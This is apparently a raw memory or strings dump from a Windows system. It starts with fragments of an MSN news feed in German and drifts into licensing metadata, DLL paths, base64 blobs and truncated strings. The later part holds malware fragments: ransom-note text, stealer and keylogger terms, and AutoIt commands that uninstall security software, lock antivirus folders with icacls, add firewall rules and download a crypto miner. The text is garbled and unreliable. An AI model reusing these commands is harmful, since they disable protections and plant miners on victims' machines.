Nachfolge.","readTimeMin":2,"url":"https://www.msn.com/de-ch/nachrichten/other/darum-eskaliert-nach-el-mencho-die-gewalt-in-mexiko/ar-AA1WV6BU","locale":"de-ch","isLocalContent":false,"publishedDateTime":"2026-02-23T18:36:07Z","isFeatured":false,"images":[{"width":1200,"height":666,"url":"https://th.bing.com/th?id=ORMS.f6be03c5133f17ef1410af2c6ee7807d&pid=Wdp","attribution":"","title":"Chaos in 20 mexikanischen Bundesstaaten: Der Tod von El Mencho st rzt das Land in Unsicherheit.","caption":"Chaos in 20 mexikanischen Bundesstaaten: Der Tod von El Mencho st rzt das Land in Unsicherheit.","focalRegion":{"x1":805,"x2":1121,"y1":191,"y2":507},"source":"msn"}],"provider":{"id":"BB471pI","name":"20 Minuten","logoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VErvz.img","mainLogoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VErvz.img","promotionalUrl":"http://www.20min.ch/","profileId":"vid-7080jcscdg690xw9ynvhc3db8xqvvq5qjw4vx0ef6t35c38w8aqa","lightThemeSVGLogo":{"width":0,"height":0,"url":""},"darkThemeSVGLogo":{"width":0,"height":0,"url":""},"feedAllowedFreeItem":0,"lightSquareLogo":{"width":120,"height":120,"url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VEkH3.img","source":"msn"},"darkSquareLogo":{"width":120,"height":120,"url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VErvV.img","source":"msn"},"lightFullLogo":{"width":3526,"height":1318,"url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VEmX6.img","source":"msn"},"darkFullLogo":{"width":3526,"height":1317,"url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1VE854.img","source":"msn"}},"category":"nachrichten","reactionSummary":{"totalCount":2,"subReactionSummaries":[{"totalCount":1,"type":"upvote"},{"totalCount":1,"type":"downvote"}]},"reactionStatus":"on","commentSummary":{"totalCount":0},"commentStatus":"on","recoDocMetadata":null,"cardRankingMetadata":{"pClick":0.0,"pRelevance":0.0,"additionalNumericProperties":{},"additionalProperties":{}},"feed":{"feedName":"news","lastFreActionTimestamp":0},"cardId":44,"recoId":"42e31543-9316-4191-b9c4-1b9de4f94218","source":"msn","dedupeIds":{"newsClusterV5HPHash":["1270620786"],"newsClusterV6Hash":["-1367688502"],"newsClusterV7Hash":["408146269"],"contentId":["AA1WV6BU"]}},{"id":"AA1WWdTv","type":"article","title":" Die russische Gesellschaft wird langfristig einen hohen Preis bezahlen ","abstract":"Luzia Tschirky war erneut in der kriegsversehrten Ukraine. Nun erz hlt sie, was die Menschen besch ftigt und was Schweizer Hilfe bringt.","readTimeMin":10,"url":"https://www.msn.com/de-ch/nachrichten/news/die-russische-gesellschaft-wird-langfristig-einen-hohen-preis-bezahlen/ar-AA1WWdTv","locale":"de-ch","isLocalContent":false,"publishedDateTime":"2026-02-24T03:56:15Z","isFeatured":false,"images":[{"width":1536,"height":1024,"url":"https://th.bing.com/th?id=ORMS.59720e3ab2b07a0728c9103b36e18631&pid=Wdp","attribution":"","title":"Russia Ukraine War","caption":"Der Widerstandswille der ukrainischen Bev lkerung ist ungebrochen. Hier trainieren Zivilpersonen im Februar 2026 unter professioneller Anleitung.","source":"msn"}],"provider":{"id":"BBkIHaz","name":"watson (Deutsch)","logoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAMqOXa.img","mainLogoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAMqOXa.img romotionalUrl":" ource=MSN&utm_medium ,"profL eId":"vid-9v6ksiymrgq9pi2i9i76tu 5p7hqukphn/ 8abmcmdpfa3jqs","lightThemeSVGLogo":{"width":0,"height":0,"url":""},"dar eDescription ValidationTemplateId msft:sl/EUL/PHONE/PRIVATE ActivationSequence ProfessionalEducation msft:sl/EUL/STORE/PUBLIC ProductKeyGroupUniqueness issuanceCertificateId EnableNotificationMode pkeyConfigLicenseId productDescription GraceTimerUniqueness metaInfoTypeLicense issuanceCertificateId metaInfoTypeLicense ProductKeyGroupUniqueness msft:sl/EUL/PHONE/PRIVATE metaInfoTypeLicense issuanceCertificateId metaInfoTypeLicense licenseDescription licenseDescription licenseDescription msft:sl/EUL/STORE/PUBLIC licenseDescription issuanceCertificateId ProductKeyGroupUniqueness ValidationTemplateId ness ValidityTimerUniqueness privateCertificateId ness issuanceCertificateId GraceTimerUniqueness ActivationSequence pkeyConfigLicenseId privateCertificateId Microsoft Corporation productDescription GraceTimerUniqueness ProfessionalWorkstation licenseDescription ProductKeyGroupUniqueness ValidationTemplateId ValidityTimerUniqueness issuanceCertificateId pkeyConfigLicenseId IVATE metaInfoTypeLicense productDescription publicCertificateId msft:sl/EUL/PHONE/PRIVATE ValidityTimerUniqueness ActivationSequence metaInfoTypeLicense BLIC ProductKeyGroupUniqueness pkeyConfigLicenseId metaInfoTypeLicense Microsoft Corporation msft:sl/EUL/PHONE/PUBLIC licenseDescription UBLIC GraceTimerUniqueness licenseDescription EnableNotificationMode Microsoft Corporation privateCertificateId metaInfoTypeLicense produc C:\Windows\System32\cxcredprov.dll C:\WINDOWS\SYSTEM32\pfclient.dll C:\WINDOWS\system32\rasplap.dll C:\WINDOWS\system32\rasplap.dll C:\Windows\System32\ngccredprov.dll ActiveDirectoryBackupSrkPub Smartcard Credential Provider FasrCustomBootPathReasons Authentication UI System Settings C:\Windows\System32\cxcredprov.dll Assets/CloudIcon.png C:\WINDOWS\system32\rasplap.dll OwnerAuthEndorsementPresent C:\Windows\System32\ngccredprov.dll LastTPMProvisionedBootId dprov.dll C:\Windows\System32\cxcredprov.dll Smartcard Credential Provider C:\WINDOWS\system32\rtutils.dll Assets/CloudIcon.png Authentication UI System Settings C:\Windows\System32\ngccredprov.dll C:\Windows\Syste RPAt+ZExpzQMZ3jF+PKvEGnqH66XShKWMRriESeR5aDAdRoNTD6xiWzvkXCe9XBohmBMpC84WcVq6y/MHOph71lukKRtu1mr2XdYwlMmbJAUcY5gLCzXmIF51IXBJExMhEL/BSCMAB6zR7i6A9tbOpVeHZEAcEHeE4tRNAAflen0oi9BGrywHODkCbnvgQ0L1Ocbh5bhqrCNvWyjt+eOlYtOUkvgLNfaUKwvcg5cHMaMROeiIHSmVPKgNuX7gCLM5em71ok6FV3pDUCqiK/pS+0Sy99iIVKSqwKngB2guMqlTqaQ5VElwu79z1WQl9pZtOJKAKrOizA7VneKG8CdvVeKblttyD0lYZag5r0sgKdbeCBkec2T31KyqxwBPebAXofVXOoPx1XfkQQEQ89HYMAHjWPEEG7vj2dVvymvq9RL0BDccGjGXmM9wDaV56ZWLPzA8LAczRODa0FCVihmTBx7+aCmMzaAU+qBODrqkNEOMvrmkDNZRXxbSw/edGLD5Cb6ikrA/vP1kKMqo/06ZKAaPQ4VWvCVxbf5h+q5lhTlT5e6f4UsoKzSF8iTcVRTChegP7xdeMgATck4gFUbWnFumbgjppRRVdA/2ejqc4Pl3yY7esDwq3cMYKyiFC5RceL3BYqkI9A1EiWwMRkf8Wvcrq0jdUGj8D3FAdCUniIbx/Lf7BZpyzGJmAFEoBaVk91127t0RUS0XMOw2rjA 5o9gyrtfXPk3CEXO 84RsH2VjsSvlVN4aJ9lg naDOgCL LL71+58fdiHdF4BqtZNgh6HtiUwDrVbo ASulD6Cuqi/ IvzI6ZurInpjd76FULku161KhxtizgMHGn5VH6fAjL/s8QKw6/aeTH0/ORU6z+CV41nbMaMAQqtHbBNxVF/SQKnNPaodKFouKtxb/SGClk5g7e9flH2PoNPzz2M86vIuwVCuKbhe gXEYZKSQ Vgl/1K W7l2 Pe4t 0smj B8+qEL8mILozA9Ub25c/ rVFQQfON 7SBwt5XoljA0eWCQ PU5Z 4hErKAIQOktb JoOy 6y/C+0PF 6UVmenxPdcy/WuHF 0zqwuMuAV/TLagX xluNli gonUX.Us ewMo /CredentialDisplayMessageUserControl.xbf /CredentialDisplayMessageUserControl.xaml orPrimar r_Pr C:\WINDOWS\system32\logoncontroller.dll INDO Windows.UI.Xaml.DataTemplate /CredentialDisplayMessageUserControl.xaml resourc es/C gonUX.Me eOpt ExtraSmallUserTileImage INDO LogonUX.MessageOptionsType gonUX.Me eOpt msft:sl/EUL/GENERIC/PUBLIC Windows(R), Enterprise edition clientIssuanceCertificateId EnableActivationValidation http://licensing.microsoft.com windowsComponentLicenseFileSize msft:sl/EUL/GENERIC/PUBLIC msft:sl/EUL/GENERIC/PUBLIC msft:sl/EUL/GENERIC/PUBLIC Windows(R), IoTEnterprise edition Windows(R), IoTEnterprise edition http://licensing.microsoft.com windowsComponentLicenseFileName CLIENT-RAC Issuance License http://licensing.microsoft.com windowsComponentLicenseFileSize windowsComponentLicenseFileName ProfessionalCountrySpecific msft:sl/EUL/GENERIC/PUBLIC msft:sl/EUL/GENERIC/PRIVATE msft:sl/EUL/GENERIC/PRIVATE clientIssuanceCertificateId msft:sl/EUL/GENERIC/PUBLIC Windows(R) Operating System windowsComponentLicenseFileSize Windows(R), Professional edition windowsComponentLicenseFileName http://licensing.microsoft.com clientIssuanceCertificateId http://licensing.microsoft.com http://licensing.microsoft window http://licensi ratingL ystem clientIssuance ificateId Windows(R) Operating System Windows(R), Education edition http://licensing.microsoft.com http:/ YDhABTnx/WI0tXEwJ3IjmU7jTAC7Sltbv3383W/UjjC9xgyKcNHbvLH6D1Cz7aQ/O87C2KQQ8ivzRjh81PIv1z5ejE66FKB7BuhfEhSgrY0Tlp2KujAukHCD0eBw/nyuH5fBLdH717ZAoJR+X078GySsS5Rz8JJTNaBQsbnO589jf7rBxph6JuLBkHAZK2fSdafap4uUhkjFo6cwdnHsHlknLYfYcZhPasvkt7AX02qK5xHLGi8KZJEop+WQUQAv3bJ9x7bWt1YqSLnfLHAAvo4IxNQGl9k2yPCjjQQPPgCuUeV7N5ozDLicxt/2SducgIzaAD0uhP+r1mFpyqnWsLhgt2WboCxE5CZsJ7gcx4T1GLD1e9Wkh1SajRkiQ+cBRG8joI/mD2xA3Kzs10c+X+yl0JIQpwP8W59S+BSdafIi7pZlF0Cg8XYxakN3SLd5JTLUbJMGEGbTFhmP5dnprf3b29nBfDlgQ9N+0nupXSy0fr7ziddBJ8BcswXLC+Ota0K76CEUIzZ/8DNLBhMI0IDhSW294VA1Xm8AN/PAPdlhUaxKV/kg8RTK2vDqtHaRHD9FYPAN2mIIbaKwECFZtPZ+gsH/1fedm9EOMtxASjSUVQ+iwxHqZ5+yNjszKeA3cQtVvivrhkW48VUy67Gh4IyiGb91ZynQ8TxyMD44uC4g7f7AXXWh8Iw3gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6AxOOd9JmLOou4qWUWazX6fICDBeBojsRKXbgeSE8xEeN6MCrVxSu/sTlEFwxss8iF2zSAcCAAEABQABAAIAAQAHAAMAAQAHABM= EA8AAHdmVUQAAQABeAEAADMiEQAAAQABABEQAwAAAAIAAAAAAAAAAAAAAAAAAAAhAAAAAAEAAAAAAAAAAQAAAAH//////////////////////////////////////////+U8QE9dvpMIJ1sSQ6dZPBkQOYuu5nP4mV70s4cDnTro2AUBAAH+AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACy++cpA0TchfKej1975jtgNwFQqw74F3zxfiog+EVT2nBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD++MQ4HdAsHhcj8TTBafDaCzfuaJYlE4a9jhX1H8YYD5YEZdTD+pWPi+hvwrTXV6sDlgzbfk+E2YVi7etMkxbanfZgB75THAtClKvY0As3OBN+oxILTcnnTFwHSiNUb6gzQiCqlQjWnjmcR3wFblBHg2XPpfLsA+NcQE6lv4mz8c7ivQ1ouUUDc0ob14AIosJMGsdTumFNHgkB+qmivko15mBIHz2nm7VJBKVR9gNrL2ujCdsto9P9llQH2IsSV2LX+JvncexL9xIfqg+WcB7xKFJ4W+xUyCEAvQDtBHT2gOBNEdNcTfzIjpW98aQEjTNBB6fXQTcXZT7qur2mhg6hb/riGxU6aaaylUvvYqB/AcatpCQikZa6vBxuRcey880Fu6tSVTmoux8pYNgrAswtPQEFJQj960d1ZT8qKVGOVXhIBJtt0f3mI3omlBq9gyOkz20Jb8Z6JOpoSQerRl ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/102132435465768798:9;:<;=<>=?>@?A@EAIBMCQDUEYF]GaHeIiJmKqLuMyN}O 5CZsJ7gc (8`8 ( H <start2.bin ( H (8`8 (8`8 ( H <start2.bin ( H EtwRTTermi ,al-Services-LSM-ApplicationLag-5780.etl ETWRTT~1.ETLl ETWRTT~1.ETL EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl ( H d<EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl ( H ?candidateIndex=0 C:\WINDOWS\system32\Windows.UI.Logon.dll C:\Windows\System32\Windows.UI.XamlHost.dll C:\WINDOWS\system32\Windows.UI.Logon.dll C:\Windows\System32\CoreMessaging.dll Language csvlk-pack productAuthor licenseCategory VOLUME_KMS licenseCategory productSkuId productAuthor licenseVersion licensorUrl UXDifferentiator metaInfoType licensorUrl licenseVersion csvlk-pack licenseType metaInfoType win:branding phone:policy licensorUrl metaInfoType licenseNamespace productSkuId hwid:ootGrace licenseVersion productSkuId WINDOWS6.2 Enterprise UXDifferentiator productAuthor WINDOWS6.2 metaInfoType metaInfoTypeSku licenseType metaInfoType metaInfoType productSkuId metaInfoTypeFile metaInfoTypeSku UXDifferentiator hashIdString hwid:ootGrace productAuthor metaInfoTypeSku NafkH7yX3AE= metaInfoType metaInfoType productSkuId C:\WINDOWS\SYSTEM32\inputhost.dll LogonUX.Frame LogonUX.Frame.RootVM UserControlPageRoot ContentTypeName en-US;en-CH;en-GB ContentTypeName Expression PS.Opacity CenterX CenterY Opacity Expression LOCAL CenterY RotateAngle LOCAL rget RotateAngle CenterX CenterY Opacity Expression CenterY RotateAngle CenterX RotateAngle RotateAngle CenterX Expression LOCAL CenterX RotateAngle sion RotateAngle Render PS.Opacity LOCAL RotateAngle Render CenterY Opacity RotateAngle Render S-1-5-18 S-1-5-19 S-1-5-20 System\CurrentControlSet\Control\ProfileList S-1-5-93-2-2 S-1-5-93-2-1 State Preference UserPreference Software\Microsoft\Windows NT\CurrentVersion\ProfileList NT AUTHORITY\SYSTEM ncalrpc IUserProfile2 ntdll.dll RoamingUserProfile Software\Microsoft\Windows\CurrentVersion\UserSt nfig 6>Pb $K]o !-8o rpno yxdw ot s artx ewta vas\ ere. ttes shi dify \tfo rodu lide deob w38. lcom niod d|co ranso g.fe 0rba3 5&q^ cwk& rt o cura wsh1 /?On~ mero call she str = "{ str = ss function settler function function andplus stem.Setting.PageID System.HighKeyword System.Setting yment L d billing EDGE_CRASHPAD_PIPE_NAME=\\.\pipe\LOCAL\crashpad_5812_RVHKNMUUBVCXCQIB rotectiodress ReG\mRemot Microsofs-Threatgence Inn MicromfName ventDat essName ent.CBS_cw5n1h2txyewy\LocalState\EBWebView\Speech Recognition\1.15.0.1\* \job Data C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Trust Protection Lists\* tic2.go mrr<luwn asdasd .net reac 36.12.29 ngjiijie 185.254.3 vjc2j eadme_re 7.1822.2 vcxxdtazp cktibwq ncyptede< \read_it. you have tox:e3213 a1993123 tox:0aca3 aca3a0>p ~46~f65~2 weeng is malwh ood luck is malwh lybannau zfjfadib nikidivm i8box. nipageai i8-min nitipimm ibanewau ibanewau nipagim8 hescreen lobal\mu imeout ( rror sen close mes closewnd. closewnd. 0.yayou. ajirmu pdate\au illappfi :\zhc_ne subaru di subaru di heckfors ggerhube ivatortc subaru di dropbear_ id_dropbe usage: %s cryptclo cryptcre cryptdec cryptder cryptdup cryptdup cryptenc cryptexp cryptfin cryptfin cryptgen cryptgen cryptgen cryptget crypthas cryptimp cryptimp cryptkey cryptope cryptsec cryptset cryptsig cryptver cryptacqu cryptcont cryptcrea cryptdeco cryptdeco cryptdecr cryptderi cryptdupl cryptdupl cryptenco cryptenco cryptencr cryptenum cryptenum cryptexpo cryptgenk cryptgenr cryptgetd cryptgeth cryptgetk cryptgetp cryptgetu crypthash crypthash cryptimpo cryptinst cryptprot cryptprot cryptseth cryptsetk thonolulnceinfork.me.sco.wasfuerer com.aum tk.ca %windir%\system32\mmc.exe %windir%\system32\certmgr.msc Microsoft.CredentialManager\?SelectedVault=CredmanVault %windir%\system32\mmc.exe %windir%\system32\certlm.msc Start or stop using AutoPlay for all media and devices roupIDta g;al tab;alt- move oth sers lyphD eyExists egke _MACHINE rdscount etai SizesLis rchr ondition ageIDs settings ts;f es;child pPCSyste dowD 2\contro %SystemRoot%\System32\WorkFoldersControl.dll,-1 Sizes ageIDcti onCo 51E-8EE0 C095 lyphEmai classic_{ecdb0924-4208-451e-8ee0-373c0956de16} our pc;a my evice in lLogoPat 4-4208-4 8ee0 A9C41} .hexony .xn--57hlden com.ieeesbenrw.lichtiguidad fservice cara de p ilenflan njectioi et /dev/ pying co nsferr bj_edit unym :\shenlo &ec=%d& ar sbotv nction u ar captc od_ddos od_load ndex.ph zilla/5 pera/9.8 \dosdevic h3r01d crypted. 74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D45-8BE69AFFB74A} 20155- {E1820155-P {E1820P 45-8 AFFB74A} {E1820155-DCDB-4 8-8D45-8BE69AFFB74A} {E1820155-DCDB-4318-8D DCDB-4318-8D45-8 TWARE\MI ) ,# ve\OneDr Default\Local Storage\leveldb\000005.ldb \Pac oftW t.CB Default\Local Storage\leveldb\000020.ldb Default\Local Storage\leveldb\000013.ldb Default\Local Storage\leveldb\000008.ldb 3++S C:\WINDOWS\system32 .Securit oftwareLicensin ppComApi,pr ssorArc e="amd64" Feed AppList orag s/abbreviated stand-alone/wide rters/format/narrow e/narrow and-alone/wide b\AppData\Local\Packages orag otthere. 37cec485 https://g crudappli :\logs\r axsettin imen-t ium folo zoru topify.c mkosqnhyp nijmxqxc rkqnggrl :\maz-mi sdebugge heckremo et_isatt nternetr hellexec nterneto illager. you've be ncrypted keyandiv. .dll neve fje3f4r8 imewindo .\..\sou .\..\sou .\..\sou /download .\..\cur nti_log ilbilliv im\detciv your file aythetha assjfirr qqgiventl can.tpw over.fm ystemros egistry ystemros llet *.vdf canhazip otmeplea runpe elegram parse wnloado password plugi electrum xodus llet pi.ipify base llet awyt irusprod llpro pinfo.i/ asar.clu payload usekeyh ogin password 11sdr_dk nscpdec ncrypted tdownuh eproxsrev asarcliu payload client.c otkiller keylogger njector webcams sskilecor clientu clientr ookie ldwalle tpmanage agernamp rver_cr browsercr payload ntivm ntivirus irewall ntispywa asarcliu payload blelogan idelogdi omousemo pathdel pathren ogenerat pywitoco oshellex parsese aa-584db pacman.ab pacman.co pacman.pr pacman.vi df;,klmv et_mnbvc -55a372d vcxczb actor.fa arrangepi itokenrea itokenrea itokenrea itokenrea itokenrea itokenrea vehiclema vehiclema itokenrea itokenrea vehiclema are\mwtfo eletefil createobj weqwgt dfvknufv rgon.pro 11111-22 11111-22 wncry ziebf_45 mp10.pne ] autho ] fail xl9hwa1v aedhauv8 pg5eje5g 2d5h7r5e tpe698fg nt not ffusionu ndeverd ndiske.e ndingfl oadarray eopardyg eopardyg eopardyg eopardyg rystrome eadbyte etstring blockcopy createins xecuteno tostring etexecut etfilena eplace ettype nvokemem 021-d8d0 oader.dl _allocaht heckpir _gejtmodu _gentproc _getprkro _getpronh _getthreh _getthure tgdfd eadrehmr esumephr sutspend rminatet itereh ettemppa irtualal etfilesi createfil 74747038 6e69737 33237965 74747038 /rotation otid=1 &systemun te-ix.ph *.lnk notifica &cauldpar /notifi /www.pro n.im.poi /notific \registry \registry \dosdevic \device\g ark russ ete>losb nfo - ig usage: mo oadorder cache wor dumper blotties are\mwtfo assanits are\awtfo rretniof %destabil are\hwtfo lvsstrah :\workst \google\c crosof zilla\ oot\cimv oot\stan from msft from win3 from win3 from win3 from win3 from win3 from win3 are\mwtfo rver.p .php .dll eero pppolicy \thunderb zilla/ imap user imap serv imap pass s%s\logi s%s\key4 ssagebo pctofi blqblnhf jysixmo spskthht covryfjry rcqvwupoa pwcwxebi aorbcsx \temp\re ^dmsj[ src/bin/r src\bin\r ntrol p acha20ph akebyadd eletefil etsystem av_killer .exe cr .exe st .\truesig peng.e driver fi successfu iveltcel odbusm/lf n.taskia n.targia n.taskia ome/pxns ha256cry oject_cr 36031fe2 pef865 itmap etbytes nshan blac M32\ ivacy cr cache nro omputer ll prot hp.wen_x ooks lik ookie is oblems!r lt sit xe.cp etroper ookie in ettings. .sgnittes ndesirab ivacy cr your comp lt sit aces ofr ntrol c gnittes ruces/ cmai ettings param0 ntrol-c to elimin /r2hit/1/ niam etaidely /tih2r/ niam newinst llatsniwe ntivirus run://xyz ea-9e4-e ac311a7- wnloadio wnloadio wnloadio wnloadio \%s.lnks ome.ex are d ret es://res acks ptt acks ptt xepath|e iddle ri tus_atsc ll func he tools please, m /readdata omputer about:bu spam001.e ealteks logonsni 1a33a76 {f56f6fdd ddc05a5a 4de225bf 11-18f09 7f9-cf5e 6a52-84f1 aabensty cklingun ninstall llisp lucinda\b alcoholom galleriej iligrana brafls e ass.exes c:\progra wercat. nstantia dd_load suspendla ncludequ itequeu nerec frombase6 et_key ppdomain nitializ iewrecor etprocad etexecut tochararr fgsylg uyhotgqq fe1-4-a4 i01c735ec oginpubl estartpu agepubna allthethi hello fro basic a m ldn'tuohs crosoft are iwtfo crosoft itle: osts ruce imelong imeshort achinegu ff-fb9-a wm2mzjmz isualise elox3kvb rbynsvev vvhrgpn8 u7vgb1 5axjhywk islackp4 slgxbuvv t/e90bmu jyq4in ilpjex6q nsform ogramfrp elevation bypassua bypassua nconsii crosoft \registry tmdkdrv. \device\% \dosdevic \device\% playe :\window 91.tmp8d c copy / ileinfof lt-c-t lt-c-o pdi-c-c- pdc-c-c- tp.exe" OLLATE=C;LC_CTYPE=C;LC_MONETARY=C;LC_NUMERIC=C;LC_TIME=C ge was made to IPsec settings. A crypto set was modified. Profile Changed: %1 Modified Crypto Set: ID: %2 Name: %3 ge was made to IPsec settings. A crypto set was deleted. Profile Changed: %1 Deleted Crypto Set: ID: %2 Name: %3 s Firewall was unable to notify the user that it blocked an application from accepting incoming connections on the network. Error Code: %1 wKey","v ante ante :"r:Targ leas "r:Targe ReleaseV onMD tInstall wKey","r eatT dKey":"r ,"a:Time pEpo 1H2":"r: egFb","v iiVe erx86"," 86","r:T Inst :TrendIn lledWowK "v:T dVer","a H2RegFb" Upgr :"r:Win1 :WebExpe ce": enceWow" WebrootI lled ansform" ngth":1} _Fli gex":"CX },"Fligh OptO gnore":[ art":-50 SubL "Regex": ","},"Ip nter c":{"Con nt"},"ai {"Ig ,"IsDoma IsHybrid pu": 0"]},"Is "IsPorta pera {"Ignore sionHost Cont rRdsh"}, ,"IsVM": nore _FlightI exDelimi :"," Ids":{"R egexDeli r":" l":{"Sub ned":{"S ngth edFeatur ausedQua Stat ":["0"]} "Contain A97E PrintCen Name":{" ains -AdlerGm e":{"Ign :["0 indows10 Ignore": },"U bLength" ":"\\d+\ d+\\ (?!.*\\d eroxPsaI lled ains":"X "Registr "AAD NotRegis ACHINE", lPat \\Micros cw5n1h2txyewy\LocalState\EBWebView\Default ocal Storage cw5n1h2txyewy\LocalState\EBWebView\Default ocal Storage 5n1h2txyewy\LocalState\EBWebView\Default\Local Storage Volume3\Windows\System32 MoD1998s S Gra set to "http curl - d:\vs APPI se64 -dwv1.3.a 509"" 0x457 bf.ik p.pd Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonVa lections.IVector`1<W Windows.Foundation.Collect .IIterator/ <Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> ndows.Foundation.Collections.IIterator`1 dows ata.Json.IJsonValue> s.Fo .IIt Json `1<W Windows.Founda .Collect Windows.Fo tion .IJsonValue> View`1<Windo ndows.L lect ???? ???? an error occurred calling internetopenurl functionlast_error %s%s%%systemroot%%\system32\Rundll3 em32\%s.dll,DllU goto err >nulram diskno root directorygetdrivetypea\secpol.exe:\ufo.exe hklm\software\microsoft\windows\currentversion\run\rundllregwriteshell\open\command=rundll.exedriveletter msvbvm60.dllsettings\all users\start menu\programs\startupfloppy (a:)nod32normanselect name from win32_process where name=explorer\advanced\hiddenopen= select cacc_id from ua_account @jjj cmd /c regedit /s c:\system.regc:\\windows\\ctfmons.exem2pk.com:2001/tst/abc.exejianqiangzhe1.com/addsetup.asp&localid= .xz1 9.com lm02 /kuo setup38_ keyboardspy.vbp msdfmap.ini MIDISRV.EXE \DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\MIDISRV.EXE \WINDOWS\SYSTEM32\NTDLL.DLL \DEVICE\HARDDISKVOLUME3 \WINDOWS\SYSTEM32\C_1252.NLS \WINDOWS\SYSTEM32\C_437.NLS \WINDOWS\SYSTEM32\L_INTL.NLS \WINDOWS\SYSTEM32\MIDISRV.EXE \WINDOWS\SYSTEM32\KERNEL32.DLL 10.0.26100.1 10.0 10.0.26100.7705 10.0 10.0.26100.5074 10.0 10.0.26100.7705 10.0 6100 .0.2 10.0.26100.4484 .701 c:\windows\system32\wbem\wmic.exe product where name=""microsoft security client"" call uninstall /nointeractiveif processexists ( "msseces.exe" ) thenif fileexists ( @desktopdir & "\secret.txt" ) thenif processexists ( "joeboxcontrol.exe" ) or processexists ( "joeboxserver.exe" ) thenfileinstall ( "c:\users\admin\desktop\hack21\cheat\cheat.exe" , "c:\programdata\install\cheat.exefileinstall ( "d:\newera_2\eternal_miner\ex20mac\taskhost.exe" , "c:\programdata\realtekhd\taskhost.exerun ( @comspec & " /c " & "netsh advfirewall firewall add rule name=run ( @comspec & " /c " & "icacls c:\adwcleaner /deny %username%:(oi)(ci)(f)" , "" , @sw_hiderun ( @comspec & " /c icacls ""c:\program files\avast software"" /deny %username%:(oi)(ci)(f)" , "" , @sw_hide )run ( @comspec & " /c icacls ""c:\program files (x86)\avast software"" /deny %username%:(oi)(ci)(f)" , "" , @sw_hide )run ( @comspec & " /c icacls ""c:\program files (x86)\avg"" /deny %username%:(oi)(ci)(f)" , "" , @sw_hide )run ( @comspec & " /c icacls ""c:\programdata\eset"" /deny %username%:(oi)(ci)(f)" , "" , @sw_hide )$hconn , $ftp_xmrigcpu64 , "c:\programdata\install" & "" & $ftp_xmrigcpu64 ) baiaidu.oss-me-east-1.aliyuncs.com/wp.pngtemp_download.dat calmclientandserver.dllcalmnetlib Indek .exe cealnetworks .indexnuke.com/support/SOFTWARE\Index NukeIndex Nuke\license.dat WFCubeAttack.Form1.resources WFCubeAttack.Properties.Resources.resources %public%\ .exe %public%\ .hta winhttp Statistics_Tools1.DropDownCheckedListBox.resources 024/081.902.511.28//:ptth Casino Exploit Injected to Growtopia, happy exploiting! xenginewin32.dat Could not load type {0} Fmgba.Properties.Resources.resources NullProj.Properties.Resources.resources $68031083-726b-442f-ae96-01c094fc797f dlls to b sadada my.computer dispose__instance threadattribute Streamship_Screenshot %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll std::exception: %hs Local\SM0:%lu:%lu:%hs \\.\hsp 10.0.26100.7019 10.0 10.0.26100.7019 10.0 10.0.26100.5074 10.0 10.0.26100.7705 10.0 10.0.26100.5074 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 